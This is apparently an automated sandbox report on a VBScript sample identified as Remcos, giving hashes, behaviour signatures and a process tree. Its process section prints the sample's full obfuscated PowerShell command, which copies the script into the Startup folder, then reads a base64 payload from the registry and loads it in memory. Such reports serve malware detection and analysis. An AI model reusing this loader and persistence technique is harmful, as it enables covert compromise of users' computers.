Analysis
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max time kernel
23s -
max time network
28s -
platform
windows10-2004_x64 -
resource
win10v2004-20240802-en -
resource tags
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submitted
02-09-2024 19:33
General
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Target
Main.vbs
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Size
645KB
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MD5
a03581c351404c25974d9d8c022cabd1
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SHA1
daf6e824953e089737b01d0c4056cdc0992850b9
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SHA256
b84c3c1e700100c0d6b1c772095a3906b1182396f1d3edc4a54edb9b6b1f14ee
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SHA512
fa1b0b446e3fc8784ade996a2646d0e1b7ed8c3ee15ef78ede8c1d2a06ae9b68df631faea3164850c9b8e92ba030d0175e535b0993a7d06bdaa83529b0b16bb4
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SSDEEP
12288:ckOTDFNXjOsggjpM3IzJquTTYuDu6pELjN/nwVNN6:c/VNlVjpRJ7TTYuDfcjN/wDA
Malware Config
Signatures
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Remcos
Remcos is a closed-source remote control and surveillance software.
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Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
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Drops startup file 3 IoCs
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Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Using powershell.exe command.
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Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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Checks SCSI registry key(s) 3 TTPs 3 IoCs
SCSI information is often read in order to detect sandboxing environments.
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Suspicious behavior: EnumeratesProcesses 16 IoCs
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Suspicious use of AdjustPrivilegeToken 4 IoCs
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Suspicious use of FindShellTrayWindow 25 IoCs
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Suspicious use of SendNotifyMessage 25 IoCs
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Suspicious use of WriteProcessMemory 2 IoCs
Processes
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C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Main.vbs"1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit -exec bypass -window 1 -Command Copy-Item 'C:\Users\Admin\AppData\Local\Temp\Main.vbs' 'C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\$77-system32.vbs'; $Xerox = ((Get-ItemProperty HKCU:\Software\Chrome\).Updates); $Xerox = -join $Xerox[-1..-$Xerox.Length];[<##>AppDomain<##>]::<##>('disdiapasonurrentDomain'.replace('disdiapason','C'))<##>.<##>('inappetencyoad'.replace('inappetency','L'))([Convert]::FromBase64String($Xerox))<##>.<##>('ActinidiaceaentryPoint'.replace('Actinidiaceae','E'))<##>.<##>('Inhistaminaseoke'.replace('histaminase','v'))($Null,$Null)<##>;2⤵
- Drops startup file
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
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C:\Windows\system32\taskmgr.exe"C:\Windows\system32\taskmgr.exe" /41⤵
- Drops startup file
- Checks SCSI registry key(s)
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
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Filesize
645KB
MD5a03581c351404c25974d9d8c022cabd1
SHA1daf6e824953e089737b01d0c4056cdc0992850b9
SHA256b84c3c1e700100c0d6b1c772095a3906b1182396f1d3edc4a54edb9b6b1f14ee
SHA512fa1b0b446e3fc8784ade996a2646d0e1b7ed8c3ee15ef78ede8c1d2a06ae9b68df631faea3164850c9b8e92ba030d0175e535b0993a7d06bdaa83529b0b16bb4
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Filesize
520KB
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Filesize
10.8MB
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Filesize
10.8MB
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Filesize
272KB
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Filesize
8KB
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Filesize
10.8MB
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Filesize
472KB
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Filesize
10.8MB
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Filesize
8KB
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Filesize
136KB
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Filesize
10.8MB
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Filesize
4KB
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Filesize
4KB
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Filesize
4KB
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Filesize
4KB
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Filesize
4KB
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Filesize
4KB
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Filesize
4KB
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Filesize
4KB
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Filesize
4KB
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Filesize
4KB